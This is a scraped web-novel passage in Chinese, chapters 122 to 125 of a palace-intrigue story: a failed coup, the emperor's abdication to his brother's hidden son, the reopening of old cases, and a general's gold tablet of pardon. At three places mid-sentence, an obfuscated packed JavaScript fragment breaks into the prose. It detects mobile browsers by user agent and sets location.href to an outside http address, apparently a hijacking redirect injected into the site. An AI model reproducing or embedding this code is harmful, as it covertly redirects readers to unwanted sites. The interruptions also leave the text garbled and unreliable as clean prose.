方景泽看了一眼被押住的方景澄,随后转身进了寝殿,一步步走向了龙塌旁,康公公见他手中提着剑,便挡在了方承尧面前,“魏王,这可是谋反!” 方景泽抬手示意身后的禁军抓走了康公公,康公公一边挣扎一边被拖了出去。 方景泽这才缓缓走向方承尧,方承尧倚在龙塌上,盯着方景泽。 方景泽走近后将手中的剑放在了一旁,方承尧的目光跟着那把长剑,方景泽这时从腰上取下了那个一直带着的龙纹玉佩。 “父皇可还记得这个?” 方承尧看了一眼他手中的玉佩,他自然记得,这是方景泽小时候听学时得了老师的夸奖,自己赏赐给他的。 方景泽见方承尧不说话,又道:“父皇果然不记得了!” 方承尧只觉得有些累,闭上了眼,问道:“浩儿和淳儿也是你杀的?” 方景泽不答反问道:“父皇为何总是对我不满意?明明我才是做得最好的!可无论我怎么做,父皇总是看不见我!为什么?” 方承尧这才睁开眼看向方景泽,他自然知道这个儿子是最合适继承皇位的,可正是因为他的合适,才让自己不得不表现得他不合适,邵陆两家相持已久,只有自己不立太子便能相安无事,可看着方景泽处理政务愈发熟练,自己身体也越来越差,才不得不在平川停战不到半年就召第三方势力的沈海进京,目的便是为他铺路,可看着如今的这一切,难道又是自己错了? 方景泽见方承尧不说话,正要上前,忽然有一把长剑飞来,方景沛急忙上前道:“小心!” 方景泽立即转身拉开了要替自己挡剑的方景沛,又迅速拿起刚放下的长剑看向飞剑的来处,见沈安宁带着侍卫进来。 “圣上!臣救驾来迟,还望圣上恕罪!” 方承尧看着前方行礼的沈安宁,方景泽道:“沈安宁?怎么?你要谋反吗?” 这时方书君从沈安宁身后走了出来,“我看要谋反的是你吧!魏王!” 方书君看向方承尧,行了一礼道:“臣见过圣上!” 方景泽看向寝殿外,见谷鹏进了大殿内,便知自己的人都被抓了,方景泽笑道:“怎么?沈元帅这是在帮我那病秧子九弟吗?这位子给他,他又能坐几天呢?” 沈安宁冷道:“燕王并无此意,圣上犹在,魏王说这话可是算谋反之事证据确凿了?” 方书君抬手示意侍卫将方景泽绑了,随后才看向方承尧,又抬手示意众侍卫都退下,才开口道:“圣上可还记得我?” 方承尧本就被今夜的事弄得晕头转向,忽然被方书君一问,心中满是疑惑,“你这是什么意思?” 方书君笑道:“皇叔健忘,怕是早已忘了那些冤死的亡魂。” 皇叔?方承尧被叫得一愣,心中有了些不太敢想的猜想,他转头直直地盯着方书君,“你……你是……” 方书君抬头道:“是!我的父亲正是废太子、你的兄长方旭尧!” 此言一出,方承尧和方景泽都楞了半响,方承尧问道:“你是……大哥的孩子?那你母亲是……是……” 方书君道:“我的母亲正是太子妃苏映婵!不过,你也应该知道了,她的顶着姐姐苏映婷的名头嫁进的太子府。” 方承尧摇了摇头道:“怎么会?当年苏映婵一道被赐死了!若她有了身孕朕怎会不知?” 方书君拍了拍手掌,这时,谷鹏带着齐茂成和一个上了年纪的妇人进了殿中,两人一道跪下朝方承尧行礼后,谷鹏站了起来,齐茂成和那老妇人则一直跪着。 方承尧问道:“是你?” 齐茂成道:“当年是臣帮太子妃隐瞒有孕一事,也是臣给了太子妃假死药,半夜前去将太子府的一具死去的侍女尸身将太子妃换了出来。” 方承尧闭眼思量了许久,“毅王也知道?” 齐茂成抬头道:“是臣求他帮忙的,那时毅王正要前往封地,臣想那处应该是安全的,于是求他帮忙!” 方承尧道:“你和苏映婵什么关系?这般帮她?” 齐茂成一愣,道:“太子妃曾帮过臣!” 方承尧看了一眼他,知他说的不是实话,也没再多问,转头看向一旁的老妇人,问道:“你是何人?” 老妇人答道:“我是一个稳婆,帮苏姑娘接生后,一个王爷给了我一些钱财,我便在洛京城置了一处房屋。” 方承尧不再多问了,闭上眼沉默了许久,“这一切原来都是我错了!为人子、为人弟、为人夫、为人父都是这般失败!” 众人忙跪下,方承尧无力的挥了挥手,道:“你们都先出去吧!我累了!” 说着方承尧便躺下了,众人互相看了一眼,不知方承尧这是何意,但也都退了出去,方景泽、方景沛和齐茂成被送到了大狱,康公公很快就进了方承尧寝殿,见方承尧已经躺下了,便放轻了脚步,轻轻上前,问道:“圣上?” 方承尧并未睁眼,只道:“既然从一开始就错了,那就从最开始修正吧!” 康公公不解,方承尧忽然坐了起来,吩咐道:“备笔墨!” 康公公立即前去。 第二日早朝时,人人还在讨论昨夜两位皇子的事,却未曾想到久未露面的方承尧上朝了,只是他上朝后只颁布了禅位诏书,将皇位让给了方书君,并下令彻查当年废太子一案以及当年因废太子一案所牵扯到的案子,诏书中还提及了自他退位后所有妃嫔和公主一应维持原有待遇。 诏书一出,一时朝野轰动,方承尧却并未多停留,只安排了禅位仪式,连两位皇子深夜带兵进宫的事也没提及,就拖着病重的身子回了寝殿。 朝中虽有些不一样的声音,但因方承尧的诏书,众人也尽心办了禅让大典,方书君在群臣的簇拥下坐上了龙椅,他转身看着大殿中跪着的群臣,下令道:“众爱卿平身!” 众人谢恩起身后,有一人上前道:“禀圣上!如今大典已成,魏王、靳王和赵王还在大狱中关着。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738323|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方书君点了点头,道:“此案交由杜翰林前去主理,另二十二年前废太子一案,刑部尽快复核,朕会亲自审理!” 被点到的众人应下,这时沈安宁正要上前就被一旁的杜泉拉住了,沈安宁不解,就见杜泉理了理衣物上前道:“圣上!臣有事禀告!” 方书君道:“杜侍中有何事?起来说话!” 杜泉却未曾起身,只拿出了一卷纸张递上,“这是这些年平川送来的捷报,沈海护卫平川二十余年,少有败仗,其忠心天地可见!然却死在回京途中,其中诸多蹊跷,还望圣上明鉴!” 沈安宁闻言也上前道:“父亲驻守平川多年,从未和杞国有过勾结,臣请圣上复核父亲通敌一案!” 陈子洵和张千见状上前附言。 方书君从小公公处接过杜泉递上的捷报,又看了一眼殿前跪着的几人,思量了许久才道:“既如此,此案由杜侍中、杜翰林和刑部一道前去复核,务必查清!” “谢圣上恩典!” 待众人谢了恩后,方书君免了他们的礼,又和群臣商议了一些朝中的事宜才下了朝。 后宫遭此变故已是人心惶惶,方承尧虽还未离宫,但方书君有意接毅王夫妇进宫,因此太后被禁足,邵贵妃也收回了其管理后宫之权。 因方景泽和方景澄的事,魏王府、赵王府以及邵府皆被查抄,赵王妃虞芳草随着众人一道被押进大狱,大狱中的方景澄看着自己的王妃被关到了自己的旁边。 狱卒走后,虞芳草眼中蓄着泪水朝方景澄走去,两人隔着牢房的间隙看着彼此,像是有很多话说,又像是彼此心中都明了,过了许久,方景澄才开口道:“带了吗?” 虞芳草一滴泪落下,方景澄抬手穿过牢房的间隙替她擦了泪水,道:“你若后悔了,我不怪你!日后,你好好活下去,照顾好自己!” 虞芳草从头发中摸了摸,摸出了两根银针,她拉着方景澄替自己擦眼泪的手道:“医者说这种毒很快的,不会有什么痛苦!” 方景澄接过了其中一根,两人拉着手沿着墙角坐下了,方景澄笑道:“这辈子是我拖累你了!下辈子你一定要记得我,我会去找你补偿你的!” 虞芳草也笑道:“王爷这辈子给我的够多了!” 方景澄拉紧了些虞芳草,两人都靠在墙头,脸上都带着笑容像是靠在彼此肩头睡着了一般。 杜桢查抄了魏王府后,查到方景泽曾在长乐坊包下了一间房间,不许任何人进去,因此杜桢带着人前来长乐坊,因有朝廷的搜查令,加上方景泽也已经入狱,长乐坊的焦妈妈也不敢多加阻拦,带着众人前去搜查佩娘的房间。 侍卫推开房门后,杜桢缓步踏了进去,见四处都十分干净像是有人住一般,他并未回头,依旧搜查着,问道:“这里原来是谁住的?” 焦妈妈被这场面吓了一跳,一时还未反应过来,见杜桢回头看了一眼自己,焦妈妈才立即答道:“原先是佩娘住的!” “佩娘?现在可有人住?” 焦妈妈跟着杜桢答道:“自从佩娘死后,魏……他就不让旁人进来,也不让人动里面的物件,只有一个洒扫的老妈妈每日都来打扫一遍。” 杜桢点了点头,忽然见一旁放了一把琵琶,琵琶旁还压了一张纸,杜桢将纸张拿起,一旁的焦妈妈立即道:“这琵琶是佩娘的,当年佩娘这一手琵琶更是名动洛京。” 杜桢拿起纸张看了看,随后道:“找到什么吗?” 见翻找的侍卫们纷纷说没有,才将纸张放下,转身离开了长乐坊。 焦妈妈见他们走了总算是松了一口气,随后又好奇地看向杜桢放下的纸张,见上面写道:来是空言去绝踪,月斜楼上五更钟。梦为远别啼难唤,书被催成墨未浓。蜡照半笼金翡翠,麝熏微度绣芙蓉。刘郎已恨蓬山远,更隔蓬山一万重! 123. 第一百二十三章 交替 经过了半旬的调查,几个案子也终于真相大白,大殿之上,方书君一边看着着折子一边听杜桢和刑部汇报。 刑部尚书上前道:“二十二年前太子谋反一案因牵扯众多,很多人都已不在了,臣查了经二十二年前太子一案至今还尚在人世的人,得到了此证词,原来当年是陆太后联合邵盛有意构陷,又借此清除异己,因此才有了这冤案,这是诸位证人的证词,还请圣上过目。” 小公公接过证词递给方书君,方书君仔细翻阅了一阵,才道:“当初这案子牵扯人员众多,许多人因此无故被牵连,你一一列出,为当年冤死之人翻案。” “是!” 刑部尚书退下后,杜泉和杜桢父子上前,杜桢说道:“魏王、靳王和赵王蓄意谋反一事证据确凿,这是罪证,还请圣上过目,另赵王和赵王妃在大狱中畏罪自尽!” 杜泉道:“魏王和赵王谋反一案牵扯的邵陆两府在沈海一案中也有参与,他们派人等在沈海回京的路上,有意刺杀!这是邵陆两府抓到的刺客的供词,还请圣上过目。” 方书君一一看过,这时沈安宁示意了一眼陈子洵,陈子洵便立即上前道:“禀圣上,臣有事禀告!” 方书君从一堆罪证中抬起头来,问道:“何事?” 陈子洵拿出了一叠纸张递上,“南州突起战事,谭将军父子因此殉职,臣虽父亲前往南州接管振南军,在此期间查出副将吴涛和洛京常有书信往来,经查证,与吴涛互传书信的正是邵盛,这是其中的一些信件,其中可以看出当初南州的变故是邵盛命吴涛有意为之,目的便是除掉谭将军父子。” 方书君看了一眼沈安宁,又接过小公公递上的书信看了看,便一掌拍在书案上,“此乃通敌叛国之罪,没想到这邵盛尽敢如此!” 众人见方书君动怒便立即跪下,方书君停顿了片刻才道:“邵陆两府牵扯了太子谋反案、沈海一案和魏王、赵王谋反案,罪孽深重,刑部尽快将牵扯到的人如何处置制成文书呈上,另前太医署医师陶峰制造瘟病,致洛京城中死伤无数,择日处斩,太医署医博士齐茂成窝藏犯人,徒三年。” 方书君放下手中的书信,又道:“杜桢在这些案子的审查中能力出众,朕便擢升你为中书侍郎!” 杜桢上前谢了恩,起身时回头看向自己的父亲,却没在杜泉脸上看见任何情绪。 方书君又命礼部将一应的封赏准备好,便下了朝,方书君回了御书房处理政务,久未露面的毅王前来拜见,方书君立即命人将他请了进来。 毅王方瑞尧进了御书房后,方书君立即起身迎了过去,但方瑞尧却在离他两三步时停下,行了一礼,方书君一顿,双手还停留在空中忘记收回。 过了片刻,方书君才道:“阿爹不必多礼!快快起来!” 方瑞尧这才起了身,道:“君臣有别,更何况臣本也不是圣上的父亲!” 方书君眼神有些落寞,他回头拿过书案上的折子,说道:“这是礼部送来的,我想追封父亲和母亲,还想让阿爹做太上皇!阿娘做……” 方瑞尧闻言立即跪下道:“还请圣上三思!” 方书君立即上前想要扶起方瑞尧,方瑞尧却跪着不起,方书君低头看着方瑞尧,许久才道:“阿爹这是在怪我吗?” “臣不敢!” 方书君沉默了许久,最后叹了一口气道:“阿爹阿娘养育我多年,如今我想回报阿爹阿娘的养育之恩,阿爹为何不给我这个机会呢?” 方瑞尧抬头看向方书君,道:“臣和紫玉从未想过要圣上回报什么!” “可是我想!” 方瑞尧沉默了片刻才道:“既如此,那臣确有一事相求!” 方书君立即道:“阿爹你说!” 方瑞尧道:“臣想带母亲和紫玉回端州,母亲年纪渐高,臣想带她回端州,照顾她余生,以尽孝道!山高路远,往后便不再回洛京了!还望圣上恩准!” 方书君看着方瑞尧沉默了许久才道:“既然阿爹想,那便依阿爹的意思吧!” “谢圣上!” 待方瑞尧离开后,方书君一个人坐在书案旁发了许久的呆,直到小公公前来禀告,杜桢求见,方书君才回过神来,命人带杜桢进来。 杜桢进了御书房后行了一礼,“圣上!这是牵扯三案的人员名册及处置文书!” 方书君从小公公处接过后展开仔细看了一遍,又拿出朱笔圈出了一些,又还给了杜桢,杜桢有些不解,方书君道:“你看看!” 杜桢展开仔细看了一眼,心中已然明了,方书君又道:“朕刚即位,根基未稳,此案不宜波及太多人,圈出来的这些人只是有些牵扯,算不得共犯,便放了他们,未圈出来的便按你写的去做吧!” 杜桢看着手中的折子,这些圈出来的人确实牵扯不深,此时抓大放小也确实可以收拢一波人心,可在法度面前,这些人却因此可逃脱国法。 方书君看出了杜桢心中有些不悦,他思量了片刻起身走向一旁的棋盘旁,“朕好久没有和你下棋了!不如来陪朕下一盘棋如何?” 杜桢跟着方书君走了过去,看着方书君坐下后,示意他坐在对面,杜桢低头道:“臣不敢!” 方书君拿棋子的手一顿,等了片刻才道:“这有何不敢?以往又不是没和朕下过!” 杜桢沉默了片刻,才上前坐下,方书君先放下一子,说道:“往日里,你对朕不是这般寡言。” 杜桢立即道:“圣上日理万机,臣那还能无端叨扰!” 方书君看了一眼杜桢落子的地方,又拿起了一枚棋子,道:“这有何妨?即便整日忙于政务也该有片刻闲隙,如今这般倒像是疏远了!” 杜桢低头答道:“是!” 方书君又放下一子,“如今几大案子已了,后宫和皇叔的几位皇子该如何还得你替朕看看!” 杜桢抬头看向方书君,方书君接着说道:“如今皇叔不宜挪动,后宫的妃嫔便先在宫中置一处宫苑,由她们住在宫中,各位皇姐皇妹,朕决定在洛京城为她们置一处府邸,至于两位皇兄……晋王终日颓靡,燕王也自幼身中剧毒,两人原皆不是中宫嫡出,但皇叔如今只剩下两位皇子尚在人世,所以朕有意封他们为文熙王和长靖王,留他们在洛京修养,你觉得如何?” 杜桢一愣,为了避嫌,后宫女眷如此处置倒也合适,只是这二字王乃是郡王,但方书君却封了二字亲王,况且自己和方景淮曾是盟友,如今却要将他囚禁在京,如今这般对他,将来又会如何对自己呢? 方书君见杜桢没有说话,便道:“你可是觉得朕这般做不对?” 杜桢思量了片刻,道:“圣上如此安置合情合理,只是自古以来二字王皆为郡王,况且他们本就准备之藩,因各种事情耽误了而已,圣上刚刚登基,何必去动太上皇原先的旨意?驳了太上皇的颜面!” 方书君拿着一枚棋子思索了许久,“长靖王和沈安宁的之间的关系,不知你可看出了?沈安宁手握重兵,若他们成了亲……” 方书君将手中棋子放下,“况且原先的封地是晋王和燕王的。” 杜桢随意放下了一枚棋子,抬头看向方书君,见方书君笑着又放了一枚棋子,笑道:“朕赢了!这还是第一次,看来今日你心不在这棋盘上。” 杜桢立即起身行了一礼,“请圣上恕罪!” 方书君道:“这有何罪?” 杜桢道:“臣今日身体有些不适,恐扰了圣上兴致!臣先退下了!” 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749935|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书君盯着棋盘看了一会,才摆了摆手,杜桢便立即退了出去,方书君看着杜桢离去的背影沉默了许久。 杜桢出了宫后上了马车,车夫便往他的住宅驾去,往日里他少去杜府,只有妻女常常住在杜府才让他多去了几次,今日不知为何,突然想去看看,等他的马车停在杜府门口时,心中才有些懊恼,他转身又要离开,忽然杜府的老管家送方景淮出府,一见杜桢便笑着上前道:“少爷!” 杜桢这才停住了脚步,回头见方景淮,便问道:“王爷为何在此?” 方景淮道:“杜侍中致仕,我前来相送同时也感谢他之前的帮助!” “致仕?” 方景淮见杜桢满脸疑惑,便道:“是,杜侍中已向圣上上书了!圣上也已经批复了!” 杜桢闻言便要踏进杜府,忽然想起什么一顿,又回头朝方景淮道:“太上皇虽已退位,但他仍有两位皇子,沈元帅手握重兵正如当年的沈海!” 说完这没头没尾的两句,杜桢便进了杜府,方景淮思量了片刻,便转身离开了。 杜桢进了杜府后,见各处都已收拾得差不多了,他又跑去书房,见父亲和女儿果然在此,杜煖最先看见杜桢,笑着喊道:“阿爹!” 杜桢笑着应了声,又看向正在收拾书籍的父亲,站在书房外一动也不动。 杜泉看了一眼杜桢,道:“你怎么来了?” 杜桢不答反问道:“你为何致仕?” 杜泉又拿了一本书递给杜煖,“一朝天子一朝臣,我如今老了,也不再想参合朝堂之事了!” 杜泉说着转过身来,“你想要的那个朝廷,如今你可得到了?” 杜桢没有答话,杜泉转身又和杜煖说道:“这些书你记得拿出去晒晒!” 杜煖看了一眼站在门外的父亲,才答道:“阿翁,这些书你真的都留给我吗?” 杜泉笑道:“我来洛京时便是一身布衣,这些既然都是在洛京得的,便都留在洛京吧!” 杜煖点了点头,杜泉又和杜煖解释起了那些书。 杜桢一人在书房外沉默了许久,不知什么时候独自离开了。 方景淮自杜府离开后,一路直奔皇宫,只是如今方承尧退位,宫中不再像以前那般随便他进,耗费了些时间才终于见到方书君。 方书君见方景淮前来,便说道:“你来得正好,朕给你拟了封号,长靖王,你觉得如何?” 方景淮闻言只低头轻笑了一声,他自然明白二字王是什么,只是他并不在意,“圣上赐得自然是好!只是臣今日来是为了圣上当时许诺臣的一个人情!” 方书君一愣,这才想起是当时押送粮草,方景淮有意让出功劳一事,于是便道:“当时你说你没想好,如今可想好了?” 方景淮道:“想好了!” “你说来看看!” 方景淮道:“臣想请圣上答应,将来若非沈安宁谋反,否则要保沈安宁一生平安!” 方书君盯着方景淮看了片刻,正要说话,方景淮又道:“臣原也活不了几年,有意在人生最后几年留在洛京,过几年闲适的日子,不知圣上是否允许!” 方书君打量起了方景淮,“你若有意留在洛京养病,朕自会帮你寻医!只是沈元帅一事,你且放心,平川离不了她!” 方景淮自然知道他现在不会动沈安宁,因为现在还需要沈安宁,但是这种需要将来也会变成他的威胁,那时即使有从龙之功也逃不过功高盖主。 方景淮道:“谢圣上!” 方景淮从御书房出来后,深叹了口气,转身正要出宫,忽然见毅王在康公公的指引下往后宫去,方景淮知道是谁要见他,他沉默了片刻,听见小公公的催促,便赶紧跟着小公公出宫了! 124. 第一百二十四章 定局 毅王方瑞尧跟着康公公到了方承尧的寝殿,因方承尧已退位成了太上皇,本不应该再住在这里,只是他病重,不宜挪动,方书君下令方承尧仍可以住在此处。 待方瑞尧到了寝殿内时,察觉殿内似乎比往日要清冷些,方瑞尧见叶云舒和方昭清正在殿中,便等在了一旁,过了一会,叶云舒和方昭清两人走了出来,两人一道朝方瑞尧行了一礼,方瑞尧见方昭清双眼有些泛红,心中有些猜测,这时康公公上前道:“王爷!请!” 方瑞尧点了点头上前去了,康公公看了一眼龙塌上的方承尧便低头退了出去。 龙塌上的方承尧看上去已是瘦骨嶙峋了,方瑞尧缓缓上前,方承尧听见声音,缓慢得抬起手道:“是七郎吗?” 方瑞尧低头行了一礼,“臣参见……太上皇!” 方承尧有些睁不开的双眸看着在空中晃晃荡荡的手,倔强地等了许久,才摔在了龙塌上,“不必多礼!谢谢你来看我!” 方瑞尧抬头看着方承尧,重病让他原本就棱角分明的脸庞变得凹陷,他低声道:“对不起!” 方承尧似乎听不清,他将耳朵凑了过去一些,方瑞尧见状,便上前跪在了龙塌旁,“三哥对不起!我当初真是没想到会变成这样!我当初真是只是想救她而已!” 方承尧闭上了眼点了点头,方瑞尧又道:“当初我在选妃大典上第一次见她,我就移不开眼,可她眼中都是大哥,明明她和她姐姐长得一模一样,我却一眼就能分清她们,所以当大哥带着太子妃出现时,我就知道那不是苏映婷,那是苏映婵!” “我本想若她过得开心也就算了!可大哥却因谋反案被杀,身为太子妃的她也被下旨赐死,我不想她死!我知道叶医师医术高超,本想去求她,可那时梁府送了梁小姐进宫,我害怕会让你知道,我想了好久才想到去求一直替我看诊的齐医师,我以死相逼他才答应,那时我还担心他是叶医师的师兄会告诉叶医师,可他一直替我保守秘密至今,谁也没告诉,当时他替我寻来了假死药,那夜我们用一具女尸换了她出来。” 方承尧并未睁眼,道:“之后你便将她带去了端州?那她现在在何处?” 方瑞尧摇了摇头,“大哥死了,她也一心求死,可就是她寻死的那时发现已有了身孕,她改了主意想要生下这个孩子,等他长大后为父报仇,那时洛京城中人心惶惶,每日不是这家被抄就是那府被灭,我有心带她去端州,她却不愿意,她说大哥在这,她要守在这!” “看着她越来越疯魔,我心中很是难过,若是那时没有救她,她会不会就不会这么痛苦?她就一直这般直到她生阿君时难产,最终也没能救回来,她让我把她葬在她给大哥立得衣冠冢旁,等都处理好了以后,我怕阿君被发现,立刻带着阿君去了端州,可阿君养在府中总得需要一个名分,这时自小跟着我的紫玉便说她愿意做我的小妾,我答应了!所以她便成了阿君名义上的母亲。” 方承尧缓缓睁开眼,方瑞尧接着说道:“我本以为这一生便就这样过去了,我会看着阿君成亲,看着他儿孙满堂,可忽然有一天,他无意间听见了我和紫玉的话,猜到了自己的身份,又回洛京后找了当年接生的稳婆证实了,才一直找机会留在洛京!” 方瑞尧看着方承尧道:“三哥,我真的没想他会抢你的皇位!我只想救她的!” 方承尧摇了摇头,“我这个位置本就是他父亲的,我和你一样,自小就受大哥照顾,这二十二年来,我每下一道旨意都会想若是大哥他会怎么做?我从来不是一个帝王之才,如今也算是物归原主了吧!” 方瑞尧低头道:“对不起!” 方承尧笑了笑,道:“好了!今后可有什么打算?” 方瑞尧这才抬头道:“因为我的自私,耽误了紫玉一生,我对不起她,今后我想带着紫玉和母亲回端州,好好补偿她们,此生也不再回京了!” 方承尧听后沉默了片刻,“好!好!好!离开了也好!” 方瑞尧看了看方承尧干枯的手,伸手覆了上去,“三哥今后也要多保重!” 方承尧笑着点了点头,“小七今后要好好过日子!” 方瑞要鼻头一酸,用力地点了点头,“好!” 方承尧闭上眼笑了笑。 第二日,毅王夫妇带着高太妃离开了洛京,方书君站在观月楼上,看着城门方向,一旁的小公公见他站了许久不知在看什么,于是顺着他的目光看去,虽说观月楼是宫中最高的楼,可以看见宫外,但洛京城如此大,观月楼也看不见尽头。眼看着被风吹得有些凉意,便上前道:“圣上!天有些冷了!不如先回去吧?” 方书君不知听见没有,依旧看着城门方向不动,小公公也不敢再多说,退了一步站在一旁。 沈海的案子和梁府的案子终于结案,沈海最终洗刷了不明不白的冤屈,恢复了镇北侯的封号,梁家也得以正名,方书君虽抓大放小,但也处置了很多人,整个邵陆两府都被牵连,每日都有问斩和流放的。 沈安宁正在府中书房看平川的军务,忽然听见屋外有声音传来,她刚起身,就见方昭潇探头进来,“师父?” 见沈安宁在,方昭潇便踏了进来,笑道:“恭喜师父!外面都在说,镇北侯不是通敌的叛徒,镇北侯终于洗清冤屈了!” 方昭溪从后方道:“你这府上怎么还是只有两个使唤的人?连个看门的人都没有!” 沈安宁朝她们行了一礼道:“我马上就要离开了!要那么多人做什么?” 方昭潇立即道:“离开?师父你要去哪?” 沈安宁道:“回平川,洛京城的事都已经处置好了!我准备带着我阿爹阿娘还有阿月回赤州安葬,之后就回军营了!” “啊?师父你什么时候走啊?” 沈安宁叫来晴云上茶,才答道:“就这几日吧!已经在洛京耽误了许久,是该早日回军营了!” 方昭潇失落道:“我也想和你一起去军营,可是……” 方昭溪道:“别可是了!你不管你阿姐了?” 方昭潇回头看着方昭溪,想了想又道:“可是保护姜国的百姓也算是保护阿姐啊!师父你说是吧!” 沈安宁接过了晴云端来的茶水替她们添了茶,“这是自然!” 方昭溪哼了一声,“走吧!走吧!那你们都走吧!” 方昭潇忽然一笑,凑近方昭溪道:“你不会是舍不得我吧?” 方昭溪立即站了起来,“谁舍不得你!” 方昭潇得意地笑了笑,忽然吕叔前来,堆着笑意正要说话时才看见两位公主在,于是先行了一礼,才开心道:“小姐!舅老爷来了!” “舅舅?”沈安宁起身道:“吕叔,你先去把阿鸣找回来!” 吕叔应了声笑着转身离开了。 沈安宁回头正要说话,方昭溪便道:“还不快出去看看!” 沈安宁这才点了点头,出了书房往正厅而去,方昭溪和方昭潇也跟着一道前去,到了正厅后,沈安宁见正立在厅中的江冬屹,唤道:“舅舅!” 江冬屹闻声回过头,正要说话又见沈安宁身后的两位公主,于是行了一礼才对沈安宁道:“我来的路上都听说了!侯爷洗刷冤屈了!委屈你了!” 沈安宁摇了摇头,这时江时鸣忽然一路跑了进来,一见江冬屹便停住了脚步,低着头道:“阿爹!” 江冬屹没好气道:“还不快见过两位公主!” 江时鸣这才看见一旁坐着两位公主,于是行了一礼又站得远远地看着江冬屹。 江冬屹这才道:“好了!阿宁信中都和我说了!既然这是你想要的,那你就去吧!” 江时鸣这才抬起头道:“谢谢阿爹!” 江冬屹撇了他一眼,又回头朝沈安宁问起了沈海一案的细节。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758562|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人聊了好一会,忽然吕叔带着几个宫人前来,众人一愣便立即起身行礼,为首的小公公左右看了看,道:“圣上有赏!” 沈安宁上前一步跪下,小公公道:“沈元帅守边有功!赐免死金牌一块!” 沈安宁闻言一顿,心中疑惑,小公公见沈安宁还未接,于是咳了一声,沈安宁这才反应过来,谢了恩接了过来。 小公公道:“恭喜沈元帅!” 沈安宁道了谢,又让吕叔送他们出去。 方昭潇开心地看着沈安宁手中的免死金牌,又见沈安宁没有笑意,问道:“怎么了?能得免死金牌乃是莫大的荣耀,师父为何不开心?” 沈安宁低头看着手中的免死金牌思量了片刻,便道:“我先出去一趟!” 众人不解,沈安宁出了府后一路朝皇宫而去,得了方书君恩准终于进了宫到了御书房。 方书君瞟了一眼沈安宁手中的免死金牌,问道:“沈元帅是来谢恩的吗?” 沈安宁跪下将手中的免死金牌举起,“臣如何能得如此恩赐!还请圣上收回!” “收回?” 方书君打量了一眼沈安宁,道:“你知道这块免死金牌有何作用吗?” 沈安宁道:“臣知道,只是臣更知道接受了这块金牌,有人这一生都会被困在此,如果是那般,臣宁愿不要这块金牌!” 方书君盯着沈安宁看了会,才问道:“有人?” 沈安宁心中明了,看来是自己和方景淮的关系,让他担心自己手中的兵权了。 沈安宁抬头道:“平川已渐渐恢复如常,各处的防守也都已重建,若是圣上不放心我,我愿卸下元帅一职,此后不再过问军中事宜!” 方书君一愣,这时正是用人之际,况且又是平川这么重要的地方,方书君知道这个时候还不是放沈安宁走的时候,况且以方景淮的身子,谁知还能活几年?倒不如退一步,放个恩典将人留下,于是方书君道:“沈元帅何出此言?朕自然相信沈元帅,这块金牌确实是念及沈元帅收复赤州有功赐的!” 方书君说着起身上前扶起了沈安宁,道:“朕自登基以来一直忙着几个案子,如今都已查清,朕才得出空闲来,便想给太上皇的几个公主和皇子好好安置一番,几位公主和妃嫔朕听从太上皇诏书中为她们保留了妃嫔和公主的名分,两个皇子……” 方书君打量着沈安宁的神色,又道:“朕赐晋王为文熙王,封地定为埠州,燕王为长靖王,封地定为……赤州!” 沈安宁一愣,方书君便道:“朕知你和长靖王之间的情意,如此安排正好!” 沈安宁知道方书君此时是因为大局初定,他暂时无人可用,才会退着一步,这些往后便会成为自己的罪证也很难说。 沈安宁谢了恩,出了宫,她心中对当初沈海辞去天下兵马大元帅带着妻女回乡又有了新的想法,不过,沈安宁回过头看向渐渐关闭的宫门,心中想道:阿爹!你放心!我定会好好守护平川,守护我心中之人! 沈安宁收起了手中的免死金牌朝燕王府而去,走到了大街上时,忽然见前方有一个熟悉的身影,沈安宁上前道:“叶医师!” 叶云舒闻声回过头,笑道:“沈姑娘!” 沈安宁问道:“叶医师这是去医馆吗?” 叶云舒摇了摇头道:“我刚从宫中出来,又去大狱看了师父和齐师叔。” 沈安宁和叶云舒并肩一道往前走着,叶云舒接着说道:“师父斩首的日子定了!” 沈安宁侧头正要说话,叶云舒打断道:“不管是为了什么,师父他害了一城的人是真,这样处置我也不怪任何人,只是庆幸,师父看到了梁府平反的这一天!” 叶云舒侧头看向沈安宁,“我准备离开洛京了!” 沈安宁问道:“那你准备去哪?” 叶云舒低头笑了笑,“治病救人!去更需要我的地方!” 125. 第一百二十五章 告别 沈安宁到了燕王府,见燕王府正在拆那刻着‘燕王府’的匾额,府中的下一人一见沈安宁来了,便笑着迎了上来,“沈元帅!刚刚宫里来了人!” 沈安宁点了点头,跟着他的指引绕过匾额下方朝府中走去,在偏厅等了一会,方景淮才到,一见沈安宁便问道:“你用什么和他换了?你不用为了我放弃仕途的!” 沈安宁摇了摇头,又拿出了那块免死金牌,道:“没有!” 方景淮看了一眼那块金牌,思量了片刻,深叹了口气,“看来日后得要小心谨慎地过日子了!” 